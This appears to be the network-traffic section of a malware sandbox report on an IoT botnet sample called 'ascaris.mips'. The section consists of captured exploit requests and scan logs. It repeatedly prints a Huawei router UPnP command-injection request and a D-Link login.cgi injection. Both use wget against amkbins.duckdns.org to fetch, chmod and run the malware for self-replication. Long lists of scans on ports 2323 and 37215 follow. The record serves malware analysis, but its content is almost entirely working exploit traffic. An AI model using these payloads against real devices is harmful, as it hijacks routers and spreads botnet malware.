| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-alive |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-alive |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 133.29.69.34:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 220.124.187.113:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 150.189.47.132:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 121.155.188.159:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 138.126.71.173:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 20.171.181.30:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 61.197.234.40:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 191.48.51.169:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 141.56.183.81:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 38.126.148.162:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 197.35.41.57:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 196.197.26.39:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 154.52.10.218:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 125.148.114.162:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 74.35.251.39:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 187.184.121.122:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 31.50.24.135:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 151.48.75.158:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 139.152.92.120:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 159.63.3.27:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 150.244.133.119:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 63.169.255.153:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 209.64.45.28:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 188.237.246.47:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 160.164.188.47:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 83.139.219.77:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 145.225.175.231:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 207.44.69.3:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 178.187.159.238:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 207.120.15.188:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 153.241.37.68:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 132.149.236.194:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 148.85.221.211:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 71.239.211.213:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 105.76.238.65:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 146.39.186.79:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 119.43.26.61:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 84.184.52.58:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 85.125.63.68:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 129.210.132.135:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 5.105.121.35:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 223.63.222.105:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 93.47.203.204:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 117.85.62.36:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 36.114.27.100:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 201.203.217.243:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 101.129.29.15:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 179.206.29.163:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 49.246.206.161:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 109.91.70.145:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.5.69.34:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.70.36.196:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 81.146.70.6:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.135.23.35:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.244.177.71:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 79.115.204.179:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.80.62.129:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.85.186.29:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.253.20.104:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 126.75.137.244:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 77.215.115.112:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 217.191.210.210:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.52.227.15:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.98.36.73:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.178.216.128:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.61.127.58:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.50.117.141:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.217.146.72:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.179.102.221:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.158.185.113:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.210.206.55:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 165.171.54.60:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.23.116.46:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.105.121.92:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 27.108.75.120:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.180.201.120:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.18.61.251:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.204.123.114:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.47.210.112:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.95.135.77:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.250.166.181:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 160.105.148.197:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.215.213.160:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.25.54.119:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 87.116.134.40:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.47.22.148:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.205.249.243:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.2.49.94:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.109.153.68:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 206.193.29.177:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.156.217.8:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.254.170.131:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 128.143.17.130:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.48.46.11:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.109.100.22:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.98.182.232:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.199.217.122:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.137.130.132:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.38.1.85:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.69.60.243:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.169.207.90:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.44.44.14:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.24.95.20:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.120.23.205:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 173.136.108.83:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.228.137.121:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.241.206.176:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.207.67.244:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 138.231.216.198:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.169.44.214:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.99.217.211:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.167.255.69:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.93.108.234:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.42.84.40:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.92.221.67:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.148.178.190:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.95.59.74:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.179.56.128:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.10.17.125:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.136.172.202:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 62.221.225.76:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.85.50.66:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 102.205.207.43:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.29.166.123:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.8.158.135:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.45.184.74:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.111.83.165:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.9.184.101:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 67.148.149.21:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.202.59.135:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.127.105.27:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.207.67.100:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.91.168.165:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.77.243.156:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.152.172.62:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 157.217.188.230:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.234.241.133:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 41.29.214.147:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:14677 -> 197.92.171.1:37215 |
